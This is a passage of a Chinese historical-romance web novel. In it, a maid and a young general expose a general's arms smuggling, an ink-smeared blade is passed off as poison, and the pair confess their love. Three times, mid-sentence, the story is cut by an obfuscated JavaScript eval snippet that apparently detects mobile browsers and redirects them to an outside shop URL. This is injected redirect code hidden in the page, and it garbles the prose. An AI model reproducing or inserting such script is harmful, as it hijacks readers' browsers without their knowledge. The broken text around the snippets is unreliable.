夜色浓郁,四野无光,他们躲在黑黢黢的桥洞之下,一切不安掩在夜幕之中。桥洞中,彼此的呼吸清晰可闻,他们紧紧靠着彼此,抵抗清冷河水带来的微凉。 不知过了多久,地面上传来凌乱的马蹄声。 初雪晴的手不自觉紧了紧,裴霁曦感受到她的紧张,拇指摩挲了下她的手背,以示安慰。 可拉着是拉着,这么一摩挲,就让初雪晴本就紧张的心更加砰砰乱跳,忍住想要抽出手的想法,放缓呼吸,平复躁乱的心跳。 地面上有人声响起:“树林搜过了,没人。” “难道他已经跑去青州报信了?不好,快往前追,务必不能让他找到御史。” 随后便是急急马蹄驶离的声音。 初雪晴他们并未出声,过了良久,初雪晴才低声道:“世子,我们可以上去了吗?” 想必这些人急着要阻止他们找御史,应不会再回来了。可轻风早早便赶往青州,此刻应不会被他们追上。 裴霁曦在水中时间长了,加上伤口未愈,让他反应有些慢,回了回神,他才哑声道:“上去吧。” 他一出声,初雪晴才从他的声音听出,他比方才还要虚弱。 待两人上了岸,初雪晴借着几点寒星的微光看着裴霁曦,才发现他面色更加苍白。她伸手试了试裴霁曦额头的温度,果然烫得灼人。 她扶着裴霁曦,走到密林深处,寻了一处青草较多的地方,让裴霁曦躺在哪里。 裴霁曦几乎一躺在地上,便彻底昏睡了过去。 初雪晴忙生了堆火,捡了些树枝架起来,先将披风挂上去晾干,再等披风干了,褪去裴霁曦湿透的衣物,重新包扎了伤口,为他盖上披风。 裴霁曦的怀中有一方手帕,她没仔细看,手帕本就被河水浸湿,她便将帕子覆在他的额头上为他降温。 一番折腾下来,她已经汗流浃背,丝毫感受不到春夜的微凉了。 忙完裴霁曦,她才顾上自己,身上还湿着,她看了看昏迷的裴霁曦,一点醒的迹象都没有,便褪去了外袍,只着中衣,守在裴霁曦身旁。 两人的衣物都架在火边烤着,迎着树林里的微风轻轻摆动,彼此衣袖相卷,衣摆相触。 她看着火光下双眸紧闭的裴霁曦,仍旧是一副苍白面色,方才为他换衣的时候,看见了他身上遍布的疤痕,每一道都是功勋,却也是生死。 生命的确是平等的,可有些人的存在,就是有着更大的意义,因此,她想,无论是墨语、轻风,还是她,抑或是定远军千千万万个士兵,都愿意为了这个人赴死。 无关情谊,更无关情爱。 对,无关情爱。 裴霁曦浑浑噩噩,可脑中始终有一根弦紧绷着,让他在昏迷时也不得放松。头痛欲裂,可他有更重要的事要担心。 他努力睁开双眸,却见只着中衣的初雪晴坐在他身旁,一错不错地盯着他。 他抬手才发现,自己也只着亵裤,盖着披风。 初雪晴反应了一会,才发现裴霁曦醒了,她未料到裴霁曦这么快就醒了,意识到两人的状态,她支支吾吾解释道:“世子衣物都湿了,我便放在火边烤着。” 她忙起身到两人晾着的衣服后面,披上自己的外袍,又拿起裴霁曦的衣物,一摸也都干了。 她将衣服放在裴霁曦身边,犹豫问道:“世子,我帮您穿上衣服?” 裴霁曦清了清嗓子,“不用,我自己来。” 初雪晴走到远处,背过身去。 裴霁曦起身的时候,发现额头上的帕子,他忙将帕子藏在手心,看了看不远处的初雪晴,复又松开了手。 这是初雪晴的帕子,白色素帕上,用白线绣着不起眼的雪花。 裴霁曦穿好衣物,犹豫了一瞬,还是把帕子揣入怀中——她既然没有拿走,便当她送给他了吧。 “冬雪。”裴霁曦轻声唤,“把火灭了吧。” 目标太大,万一对方回来,会循着火光找到他们。 初雪晴将火熄灭,才折身回到裴霁曦身旁,她问道:“世子好些了吗?” 裴霁曦靠在树上,面上恢复了些血色,“好多了。” 他看向初雪晴,夜色朦胧,掩住了她清秀面庞的羞赧,鬓角被薄汗打湿,双眸微垂,看不出神情。 裴霁曦想起方才她只着中衣看着自己那一幕,哑声道:“冬雪,你知道的,我愿意为你负责。” 初雪晴抬眸,眼神中露出一丝惊诧,随后复而平静,“世子,我的贞操观没有那么重。事急从权,男女之别在性命攸关面前,根本不算什么。” 顿了顿,她又道:“世间大多女子,为贞操枷锁所累,女医又少,她们病了不能医治,就连定远军中的女兵,有好些难言之隐的病症,也只得拖着,等女医有空了才能医治。” 定远军中的女医只有一个,还要时常回家照顾幼子。 裴霁曦鼓足勇气说出口的话,被初雪晴转了话头。他静默片刻,道:“是我们疏忽了。” “世子已经比大多人做得好多了。”初雪晴提了提嘴角,露出一个苦涩的笑容,“我被敌军掳走,世子没有嫌弃,好心要将我收房,我不知足,要去明履营,世子也不拦着。到了定远军,我才知道,被掳走,对女子,尤其是定远军的女兵,是多么耻辱的事情。” “冬雪。”裴霁曦打断她的话,“世人眼浅,被甩来的污渍蒙蔽,不愿了解背后的真相。而当权者,不愿女子出头,因此缚了众多枷锁,但你要知道,这枷锁是别人给的,不应是自己绑上的。” 他的姑母,付出了多少,才做到了将军的位置,他自小看着,自是知晓女子的不易。 初雪晴定定看着裴霁曦,良久,缓缓点了点头。 * 翌日天光微亮,初雪晴和裴霁曦借着密林和杂草的掩饰,趴伏在青州到勐城必经之路上,等待轻风将御史的人马带过来。 他们现在不能回城,账本既失,镖局的人就会告知汪实,汪实必是已伙同知府张守同大力抓捕他们。 但他们也必须抓紧时间回城,一旦汪实知道御史会来,必然会将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104816|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镖局的人灭口,以防朝廷顺着镖局的线查到他身上。 无论如何,镖局的人能在西境军眼皮子底下和西羌做短兵器生意,汪实是逃脱不了责任的——即便不是主谋,也要有失职之责,不过两者的罪名不可相提并论。 此刻,只能先盼着御史的人先行到来,这样他们就可以随行回城,揭发汪实的阴谋。 他们等到晌午的时候,先到的不是御史的人马,而是昨夜搜寻他们的人,只见这批人快马疾驰而过,也并未对周围进行搜寻。 裴霁曦双眉紧皱,这些人必然是知道事情败露,赶在御史到来之前回去复命。 他对一旁的初雪晴道:“你在这等着轻风,我要混进城去。” 初雪晴似是猜到了裴霁曦的想法,制止道:“世子,您现在回去,以您现在的状态,非但阻止不了汪实对镖局的人灭口,还可能伤及自身。” “可一旦他们得知御史要来,便会对镖局的人动手。汪实这个主谋,就会变成失职而已。” 初雪晴坚定道:“世子,您在这等着,光凭我和轻风,御史不会轻易相信我们,只有您在这里,御史才会进城后直接抓人。” “你武艺不佳,不可冒险。”裴霁曦否定道。 初雪晴起身,拍了拍身上的杂草,“此事不需要武艺,我只要想法透露给镖局的人消息,他们自会逃命。”言罢初雪晴便折身离去。 裴霁曦深知此事危险,可他也知道这样是最好的安排。 他只能看着这个小丫头,毅然决然的背影,瘦弱,却有力。 * 初雪晴到了城门口附近,远远看见门口贴了他们的画像,画像上的她身着男装,而此刻她也是扮着男装。 她思索片刻,散开束着的发,随意挽了个发髻,又将自己的衣服扯了几个破口,在进城的人之中四下观望了一圈,凑到一辆马车旁边。马车简陋,不像是大户人家,但看车辙的印子,车上东西必然不少,可见是行囊满满要搬进城的人家。 她走上前去,对着驾车的中年大叔道:“大叔,我和弟弟进城寻亲,可中途遇见了歹徒,行囊丢了,和弟弟也走散了,身上只有些碎银子,能否先买你家女眷一件衣服穿,不然进了城,恐要遭亲戚嫌弃。” 大叔正在犹豫,还没答话,只见车帘掀开,一个妇人露出头来,瞧了瞧她破烂的衣衫,心疼道:“这是遇到什么事了,可怜的娃,快上车来。” 大叔还要制止,怕惹祸上身,那妇人就已将初雪晴拉上了车。 马车内,还有一个和初雪晴年龄相仿的女孩,看样子应是他们的女儿。 那妇人挑了一件女孩的衣服,递给初雪晴,道:“赶紧换了,莫要再穿着这身衣服。”犹豫一下又问道,“你没被欺负吧?” 初雪晴垂下头,答非所问:“等我找到弟弟就好了,谢谢婶子了。” 妇人见状,叹了口气。 初雪晴迅速换上女装,给那妇人留了银子,那妇人推托不要,初雪晴也未拿回,连忙下车,道了声谢便混入进城的人群之中。 53. 冬雪:施计 进城后,她在路过的书斋借了纸笔,写了一张字条——“御史来勐,汪欲过河拆桥”,随后她将纸条揣到袖中。 她用最快的速度走到汇兴镖局,见附近还没有官兵,稍稍放下心来。 闹市里是熙熙攘攘的人群,她不能明目张胆前去送信。 她绕到镖局一侧墙外,此处稍微偏僻些,墙内正好是她上次见过镖师练武的院子,一般情况下都有镖师在那假模假样练武或休息。 她捡起一块石头,将字条绑在石头上,扔进了院内,随后便佯装路人,混在闹市人群之中,在附近的摊子挑着首饰。 直到她余光中看见镖局老板郭罡带了几人从院内慌乱逃出,才放下心来。 可郭罡他们前脚刚走,后脚就见官府的人把汇兴镖局围了起来,官兵看见镖局内空无一人,便开始盘问周边的人。 可闹市这么多商铺,谁会留意一个门可罗雀的镖局呢,官兵一连问了好些人,都没有人注意到郭罡他们。 初雪晴故作镇定地放下手中拿的钗子,随口说了句不好看,从汇兴镖局门前路过。 如她所料,一个官兵叫住了她,问她可见过镖局的人。 她随意答道:“方才见几人从镖局出来,往北边走了。” 郭罡他们逃离的方向,是南边。 官兵闻言,留了部分人守着镖局,大部分人往北边追去。 初雪晴见状,慢悠悠地往南边走着,直到远离镖局,才开始加快速度。 她的心跳和她的脚步一样速度,她必须保证郭罡的安全,不然他们之前所做将功亏一篑。 她在城门口附近发现了徘徊着的郭罡,显然城门也收到了逮捕他们的命令,郭罡让一个手下试探着出城,他那手下已经被抓了起来。 郭罡只得放弃出城,在城内寻藏身之地,慌乱间,他并没有发现一直跟着他的初雪晴。 初雪晴跟着他绕了几个路口,可官兵越来越多,初雪晴甚至在抓捕的人群中看到了知府张守同,眼见张守同要注意到逃窜的郭罡,初雪晴没了法子,便故意碰到张守同身旁的官兵,佯装跌倒。 张守同本没有留意官兵撞倒了谁,一心只想着汪实的命令,抓住郭罡。 可那官兵撞到的小丫头,太过慌乱,不似一般平民,他仔细端详了一下,心下一惊,忙命令四周官兵:“抓住那个丫头!” 初雪晴被两个官兵押着,动弹不得,张守同愤恨道:“原来是‘家花’啊!”他低声吩咐身旁的人,“速去告知汪将军,抓到了那个丫鬟。” 初雪晴见官兵们的注意力都被吸引过来,虽知自身的危险,但也并未惧怕,总之现下郭罡是安全了,只是不知裴霁曦能否找到郭罡。 初雪晴被一路带回府衙的大牢,大牢内阴森潮湿,她单薄的衣衫根本无法抵挡此间阴冷,她身体不禁被这冷意逼得颤了一颤。 可这颤抖的样子,看在知府张守同眼中,就是小丫头怕了。 他坐在刑讯室内的高椅上,居高临下地看着眼前颤抖的丫头,不屑道:“裴家的丫鬟?” 初雪晴心中一惊,看来裴霁曦的身份已经被他们发现,可她转念思索片刻,又镇定了下来,只道:“大人,我不是普通丫鬟,我是世子的通房丫鬟,世子最喜爱我,早就答应我会抬我做妾,您可不能对我用刑。” 张守同嗤笑一声:“他裴霁曦在北境是将军,在我西境可什么都不是,你以为我会怕他?” “可……可……”初雪晴装作害怕的样子,哆哆嗦嗦道,“世子说他早晚要接管西境军的!” 张守同拍案而起,怒道:“你胡说什么!” 初雪晴装作被吓到,跌坐在地,“我没有胡说,世子说过,他是来调查汪家的,汪家贩卖短兵器,还与西羌人合作,西境军早晚会到定远侯手中。” 张守同思量半晌,道:“可他没有证据。” “有的,有的!”初雪晴忙道,“世子已经把镖局的账本给了御史大人,只要再找到镖局的人,镖局的人手中定有与汪实勾结的证据,那汪实就赖不掉了!” 张守同讥笑道:“可他还没找到镖局的人,汪家顶多是失察之罪,何至于失了西境军。” 初雪晴此刻无比庆幸抓到她的人是张守同,而不是汪实,这张守同有个致命的弱点——他是张家人,就注定是二皇子贤王的人。 她心中略作思量,颤声道:“就算是失察,世子也有办法接管西境军的,毕竟定远军刚打了胜仗,汪家又犯了失察之罪。大人,您放了我,世子定会承您的情,世子多喜爱我您是看见了的,他从不肯碰别的女人,就怕我不高兴,真的!” 张守同盯着眼前慌乱的小丫头,他和汪实打好关系,就是在为张家铺路——有一个军队的支持,对贤王夺嫡太重要了。 可如果汪实已经失去西境军的掌控权,他现在最重要的,不应该是撇清自己的关系,外加争取定远军的支持么? 可定远侯从不在党争中站队,定远侯世子,又能承他的情吗? 初雪晴见张守同一直不语,便添油加火道:“张大人,您莫不是也和汪实有勾结吧?” 张守同怒目而视:“胡说八道!” 初雪晴忙跪下道:“我胡说的,大人,您千万别怪我。如果您和汪实没有关系,那现在就要赶紧撇清啊!不然汪实贩卖兵器,那只是图利,如果和您有关系——您毕竟是张家人,那汪实岂不是……” 谋逆之罪!如果查到汪实和张家的关系,皇子与武将勾结,贩卖兵器到西羌,就不单单是汪家贩卖兵器这么简单的了! 张守同想到这一层,浑身沁出一层冷汗,他忙对手下道:“把这丫头带到府衙偏厅,好生伺候着。” 初雪晴这才松口气,张守同现在定要赶忙撇清与汪实的关系,毁去两人来往的痕迹——而汪实忙着找镖局的人,此刻应还未想到这一层,张守同还来得及。 就算她不提醒张守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115171|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同,张家势大,也定能撇清在此事间的关系,区别只在于是否牺牲张守同罢了。但现在张守同只要不帮汪实,裴霁曦就会有更大的把握拉汪实下马。 * 另一头,裴霁曦与巡按御史盛承岸汇合后,即刻进城捉拿汇兴镖局的人。好在初雪晴拖了一拖,让他们在汪实之前,找到了镖局老板郭罡。 而郭罡得知汪实要杀他灭口,早就对汪实寒了心,未经刑讯逼供,便奉上他私藏的与汪实来往的证据。 如此一来,汪实便成了主谋,定逃脱不了责任。 他们随后去西境军中捉拿汪实,可汪实早就离开了西境军,就连汪府里也找不到他。 而汪实此刻没有退路,只能抓住最后的救命稻草——张守同。 毕竟张守同前一刻才告知他,抓到了裴霁曦的丫鬟。 张守同此刻忙着在御史到来之前,抹去他与汪实来往的证据,并未留意府衙内的情境。 汪实混入府衙内的时候,从屋侧看见裴霁曦的丫鬟,正在府衙偏厅大摇大摆地品茶。见此情形,他就知道自己被张守同出卖了。 他心中迅速生了一计,趁着府衙官兵不注意,混入书房之中,不知去做了什么事情。 不久,他潜入偏厅,初雪晴还没反应过来,汪实便来到她身侧。 恰在此时,裴霁曦赶来了府衙,看见汪实的动作,迅速上前。 汪实来不及抓住初雪晴,只来得及拿手中匕首挥向初雪晴,初雪晴拿右臂去档,那匕首便将她衣袖划破,渗出血来。 裴霁曦忙将初雪晴拽至身后,与汪实搏斗起来。裴霁曦左手抓住汪实拿着匕首的手腕,右手抽出腰间长剑,长剑闪过银芒,带着森冷的杀意。 汪实也是身经百战的将军,不会轻易被制住,他左手抓住裴霁曦刺来的长剑剑刃,手上鲜血渗出,右手手腕被裴霁曦抓着,向后一撤,想要挣脱裴霁曦的束缚。 可裴霁曦力道着实大,他抽回长剑,用脚踹向汪实胸口,汪实手中匕首掉落地面。 裴霁曦拿长剑架在汪实的脖子上。 汪实见已无力挣脱,嗤笑一声:“裴世子,你也不用得意,你定远军若不是卖了女儿,也得跟我一样走上这条路,朝廷那点拨款,就算养得起军队,养得起那些牺牲士兵的家属吗?” 裴霁曦怒目圆瞪,汪实竟如此侮辱定远军,这是在暗示定远军是靠姑母嫁给了一个商人,才养得起军队的。 汪实又喊道:“你抓住我又如何,你心爱的‘家花’已中了我汪家秘制毒药,最迟明日,便会肠穿肚烂而亡,你若想救她,就要先救我。” 裴霁曦脸色大变,怒意自眸间迸发而出,握剑的手又向前顶了顶,剑刃划破汪实脖颈,一丝鲜血顺着剑尖掉落在地。 汪实大笑:“看见了吧,红色的血,你再看看那丫鬟的血,是黑的!” 裴霁曦不可思议地盯着初雪晴的手臂。 黑色,竟真的是黑色。 54. 冬雪:表白 裴霁曦的剑紧紧抵着汪实的脖颈,却不敢再向前用力,初雪晴右臂上的黑色让他恐慌无比,他咬着牙道:“解药在哪!” “解药?”汪实抬手,手指轻轻搭在裴霁曦的剑上,微微用力,却推不开,他哼道,“你把你手中的证据给我,我就给你解药。” 此时,轻风和御史才跟上裴霁曦的速度,将将来到府衙偏厅。 官兵们不敢上前,都持刀在一旁等候命令。 轻风见初雪晴受伤,忙找来纱布,欲要给初雪晴包扎。 汪实却道:“你们别想给她包扎,越碰她的右臂,毒就发作得越快,要想她活命,裴霁曦,你知道该怎么做!” 初雪晴从最初的怔然中回神,看着眼前青筋暴起的裴霁曦,伸出左臂,拽了拽他的衣角,“世子,不要听他的,把他交给御史吧。” 裴霁曦缓缓回头,看到初雪晴面上一片平静,他忍住心中恐慌,只道:“不可。” 身后的巡按御史盛承岸走上前来,对裴霁曦道:“裴世子,如今汪实通敌之罪,人证物证俱在,把他交给本官吧。” 汪实仍抱有最后一丝希望,他紧盯着裴霁曦,从牙缝里挤出一句话:“裴霁曦,这是你最后的机会。” 初雪晴向前两步,挡在裴霁曦与汪实中间,“汪将军,不,汪实,这是你最后的机会,如果你识时务,就不用在这里威胁世子,做无谓的反抗,而应当好好交代你的罪行。” 言罢,初雪晴抬起左臂,推开裴霁曦的剑。 裴霁曦的剑被推开,“哐当”落在地上,他拿剑的手不停抖着,目光紧紧缠在初雪晴身上。 盛承岸令人上前捉拿了汪实,汪实口中仍不断叫喊,威胁着裴霁曦。 直到汪实被人押走,声音渐渐远去,裴霁曦才反应过来,自己竟有多么无能。 身后人群之中,知府张守同走了出来,他方才在后面瞧见那荒谬一幕,发现眼前这个丫头,根本不似先前表现出来的那么恐慌,反而有种久经沙场的沉稳,他才惊觉,自己竟一直被这个丫头引导,舍了汪实,助了裴霁曦。 可此时也不是他后悔的时候,他走上前,对裴霁曦谄媚道:“裴世子放心,我已让人把全城最好的大夫请过来,您这位……定会没事的。” 一旁的御史盛承岸轻哼一声,张守同自己的罪还未厘清,竟再此讨好裴霁曦,他正色道:“张知府,还请你跟本官走一趟,协助本官梳理案情。” 张守同弓下腰,点头称是,便跟着盛承岸一行人走了出去。 裴霁曦轻轻握住初雪晴的左臂,忍住手上的颤抖,扶着她坐到了一旁的椅子上。他在一旁蹲下,紧紧握住她的左手,对身后的轻风道:“把全城的大夫,都给我找来。” 轻风应是,忙折身出去。 “疼吗?”裴霁曦低喃问。 初雪晴摇摇头,“不疼。” 裴霁曦不敢看她的右臂,那团黑色,不断提醒他的无能。 初雪晴此刻仿佛释然一般,笑道:“世子,我来这个世上一遭,其实也够本了。” 裴霁曦睫毛轻颤,这句话轻飘飘的,却仿佛重重打在了他的心上——这话中那么浓重的离别意味,让他想捂住初雪晴的嘴,可他又想听下去,怕再也听不到这个声音。 “有幸跟着世子,看了那么多书,走了那么多地方,已经比一般的丫鬟幸运多了。”初雪晴笑着摇摇头,“但我的确没能配得上世子的栽培,连个普通的女兵都当不了。” 裴霁曦心中压不住的凄涩,像毒蛇一样啃噬着他,他的眼眶渐渐泛红,头越垂越低,目光似是放在初雪晴的手上,又似是飘在远方。 初雪晴感到手上有种濡湿的感觉,她心下明了那是什么,却没有点破,继续道:“世子不必不舍,我觉得这是‘军师’最好的归宿。不是在垂垂老矣的病床上,也不是在尸横遍野的沙场上——你知道的,我怕死人。现下刚抓到一个恶人,为民除害,我功成身退,好歹也死得其所。” 这个“死”字戳破了裴霁曦紧绷的神经,他用微哑的嗓音低喊道:“不……不会……”他猛地起身,松开初雪晴的手,“我去找汪实。” “世子!”初雪晴也站起身,拉住他的手,“不要找他,我还有话没说完。” 裴霁曦眼眶通红,他缓缓摇着头,似个无助的老者,神色悲戚,目光苍凉。 初雪晴缓缓靠近裴霁曦,左臂轻轻环上他的腰,慢慢把头靠在他的怀中,“世子,我一直没敢告诉你……我也心慕世子。” 裴霁曦怔在原地,僵着身子,不敢动弹,半晌,才讷讷道:“你是拖着我,怕我去找汪实。” 初雪晴愕然,她的确怕他再去找汪实,可也不全是因为这个。 她紧了紧环在他腰上的左臂,缓缓道:“不只是这样,还有被死亡将至逼出来的勇气。之前不愿,是因为虽然心慕世子,但更怕一份不平等的感情,怕一世为妾,囿于后宅,仰人鼻息的生活。” 裴霁曦的右手慢慢抬起,轻轻环住她的后背,忍着哽咽道:“是我的错。” 没有会错情,却会错了意,是他的轻贱,配不上她的情重。 轻风带大夫来的时候,就看见二人相拥的画面,可再是生离死别依偎缱绻,救初雪晴的命更重要,他咳了咳,“世子,大夫来了。” 裴霁曦松开初雪晴,扶她坐下,示意大夫上前诊治。 那大夫满鬓银丝,面似靴皮,他颤颤巍巍上前,见是女眷,拿起一方丝帕,覆在初雪晴的手腕之上,诊起脉来。 半晌,大夫诧异地问:“可知中了何毒?” 轻风在旁边嚷道:“要知道中了什么毒,找你来什么。” 那大夫退开一步,屈身行礼,道:“恕老朽愚钝,实在看不出姑娘所中何毒,更不知如何医治。” 裴霁曦忍住心中怒意,对轻风道:“再找!” 裴霁曦已经做好准备再去找汪实,只是正在想用什么理由离开而不让初雪晴怀疑。他不能冒着失去初雪晴的风险,赌一个见过这毒药的大夫,他必须从汪实口中套出解药,不管任何代价。 可初雪晴一直盯着他,他稍微有要走的意思,初雪晴就会拦住他。 如此翻来覆去,前后有三四个大夫都来诊过脉,可无一人能说出初雪晴中了什么毒,又如何解毒。 直到轻风都已不报希望,最后竟带了一个小少年来,他怕裴霁曦怪他,忙解释:“这小少年虽然年纪小,可他才来勐城几天,就医好了许多人”。 轻风带来的少年大夫眉清目秀,却身材矮小,看上去比初雪晴还小。 那少年上前来直接就用手去触碰初雪晴的右手,裴霁曦忙拦住他:“不能碰她右手,这毒不能包扎,不能碰,否则散得更快。” 那少年嗤笑一声:“谁说的?” 轻风插嘴答道:“是下毒之人说的。” 那少年暼了他一眼,就直接诊脉,不像其他大夫隔着丝帕,他直接覆手上去,半晌过后,他又将鼻子凑到初雪晴右臂上,连初雪晴都被他这古怪的动作吓到了。 裴霁曦正欲发怒,就见那少年哈哈大笑:“你们真是群傻子,什么毒啊,明明是墨汁嘛!” 几人闻言,都怔住了。 那少年抬起初雪晴右手,将袖子卷上去,露出伤口,他叫道:“你们看,伤口下面明明是红色的血,上面只是覆了些墨汁而已!” 裴霁曦这才反应过来,上前仔细观察初雪晴的手臂,他复又折身去捡地上汪实掉落的匕首,这才看到,匕首刃尖上,也涂的是墨汁。 看来汪实根本没有什么秘制毒药,是时间紧迫,来不及下毒,拿墨汁诈他们的。 裴霁曦心情大起大落,跑到初雪晴面前紧紧将她拥住,口中喃喃着“没事了,没事了……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151036|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>初雪晴也一时没从这荒谬之事上反应过来,任他紧紧抱着自己。 一旁的轻风也笑着喊道:“真是关心则乱啊,咱们竟然都上了那糟老头子的当了。” “喂!喂”那少年大夫嚷嚷着,“就算是没中毒,也得包扎一下啊。” 裴霁曦这才松开初雪晴,忙屈身向少年大夫郑重行礼,“多谢大夫。” 若不是这大夫,他没准会做出什么不理智的事情来。 少年大夫打开药箱,拿出药为初雪晴疗伤,嘴上念叨着:“还官府的人呢,这点小伎俩都识破不了。之前那好几个大夫也都是棒槌,就不知道看看伤口吗?” 待包扎完毕,他又对初雪晴道:“对了,你有些宫寒,是不是小日子的时候腹痛呢?注意少接触冷水,你年纪还小,就不给你开药了,注意调养吧。” 裴霁曦闻言,想到前日让初雪晴在冰冷的河水里泡了那么长时间,顿觉内疚。 轻风尴尬极了,忙送大夫出门,屋内又留下裴霁曦和初雪晴二人。 初雪晴以为大限将至,才让那见不得日光的隐秘心思宣之于口,可如今竟是乌龙一场,而那些说出口的话却也不能收回,她站起身,不自然地躲开裴霁曦的眼神,在这静默的尴尬中慌乱道:“那……既然没事,世子还是去帮御史大人吧,我……先回客栈。” 裴霁曦却不想再让她掩藏下去,失而复得的喜悦充斥他的心房,他向前一步靠近初雪晴,缓缓抬手欲握住她的手,想了想又放下,轻声道:“冬雪,之前是我的错,不该如此轻待你……你可愿再给我个机会?” 初雪晴退后一步,诧异看向裴霁曦,她好似听懂了,又不敢相信自己听到的意思,半晌才低声问道:“世子……是什么意思?” 裴霁曦定定看着她,轻声道:“在你之前,我从未想过自己相携一生的人是什么样子,可你走进来之后,我才知道自己需要什么样的相伴。” 他复又垂头,缓缓道:“之前是我不好,没能以平等的身份看你,轻贱了我的感情,也配不上你的心意。我欲求娶你,做我的夫人,你可愿意?” 初雪晴被这话语惊到,她不是没想过这场景——她在邺清疗伤时,一直在想,自己究竟怎样才能配得上这样出类拔萃的少年将军,可当现实以如此不堪的姿态展现时,她就将这些不切实际的幻想深埋心底。 如今这一幕真实发生在眼前的时候,她反而怕了,低讷道:“这……不可能的。” 裴霁曦却又逼近一步,坚定道:“只要你和我有一样的心思,就不会不可能。我看到你写给郭罡的字条,是你以自己的落网拦住了他们,让他们没能抓到郭罡,这才让我们有机会找到汪实通敌的证据。 还有,不知你用了什么法子,竟在张守同手中毫发无损,还让他撤回搜寻官兵,与汪实对立,这样聪慧的你,做将军夫人,绰绰有余。” “可我们……我只是个丫鬟……” “冬雪,我想娶你,不是因为你是谁,是因为我心向之。”裴霁曦终还是上前握住了她的手,缓缓问,“我欲向山,卿可愿同行?” 初雪晴双肩微微颤动,是裴霁曦让她没有因丫鬟的身份就限制了视野,也是他一点点引导她融入这个世道,她在这里没有亲友,可因为裴霁曦的存在,让这个世道不那么冰冷。 尤其是几番生死与共,让她已没有办法控制自己不再心动。 如果仍是不平等的怜爱与仰望,那她还有拒绝的理由。可如今他低了下来,让她从仰望变成了平视,又如何让人拒绝呢? 眼泪不自觉夺眶而出,幸甚至哉,在她一点也不喜欢的世道里,碰到了这么喜欢的人,而这人,竟要与她一起打破这世道。 她轻轻回握裴霁曦的手,哽咽道:“山路崎岖,但有君相伴,便无所畏惧。” 远山高大,遥不可及,可有相携之人,路就不那么难走。 55. 学清:赴樟 宿醉的不适让初学清第二日还在头痛,她只记得昨日宴饮,心情不佳,一时多喝了几杯。可她的酒量不止于此,如何就失了昨夜的记忆,恐是酒不醉人人自醉。 夜晚梦到许多旧事,醒来后,好半天才意识到自己身在客栈,忙洗漱好,出去一看,众人已在客栈一层用膳。 桑静榆远远见了她,高声问:“夫君怎的不多睡一会,昨日醉成了那个样子。” 初学清走上前去,见吴长逸和裴霁曦都在,便道:“今日便该离开了,耽误不得。” 裴霁曦放下手中筷箸,问道:“学清昨日醉得不轻,身上可还难受?” 初学清笑道:“还好,我酒量没那么差,兴许昨日是累了。” 桑静榆看见她冲裴霁曦笑的模样,撇了撇嘴,明明是听到那人有了小孩,心绪不畅罢了,就初学清在家独酌的量,也不只如此了。 初学清坐到桑静榆身旁,接过桑静榆递来的碗筷,道:“夫人,我有事需要去樟安一趟,你能否随吴将军一起回京?” “你去樟安,那我也去。”桑静榆道。 初学清摇摇头,“昨日收到了岳父的口信,说身体不适,让你早日回京,回娘家看看。若不是我公务在身,也是要早些回去的。” 桑静榆不快地搅拌着碗里的粥,念叨着:“什么身体不适,明明是不想我跟着你出来,名声不好罢了。” 初学清对吴长逸道:“那就劳烦吴将军,帮忙照顾我家夫人了。” 吴长逸抬眼看了看初学清,半晌才道:“你确定让她跟我一起走?” 桑静榆一听不乐意了,嚷嚷道:“谁稀罕他照顾,我自己回京,才不沾他们的光。” 初学清无奈道:“好了,别闹,我去樟安办完事就会回京。” 吴长逸又垂下了头,这对夫妻,一个爱闹,一个能哄,真是般配。想自己那般狭隘,在有安邦定国之能的初学清面前,真是鄙薄得可怜。 裴霁曦见几人定了去向,对初学清道:“学清没有忘记昨晚和我说的事吧?” 初学清愣怔片刻,回想了一下,实在没有印象,只得道:“昨晚醉的厉害,裴兄见谅。” 裴霁曦道:“我恰巧有事,随你一起去樟安。” 初学清讷讷点点头,随即又道:“本应去拜访舞阳将军的,可公务紧急,仅托了内子拜访,实在有失礼数。” 她的确是不想去见裴梦芝,毕竟多见一个旧人,就多一分暴露的风险。 裴霁曦却笑道:“学清多虑了,昨日我也去见了姑母,姑母还托我向你致谢,尊夫人的医术实在高明,姑母还想回头派几个明履营的女医,去京中向尊夫人学习。” 桑静榆插嘴道:“行啊,明履营全是女兵,好些个病症,男大夫不是不会治,就是不屑治,还得多培养几个女医才行呢。” 裴霁曦点点头:“是,最早的时候,只有一个女医,后来……”他说到这里停了下来,是因为冬雪提出这个问题,他才注意到,又让军医培养了好些个女医。 只是如今女医多了,却不知该如何告诉她。 初学清也是想到了曾经的事情,接话道:“明履营都是巾帼英雄,能为她们做些事,我们也是荣幸之至。” * 饭毕,几人就收拾行装,分头出发。 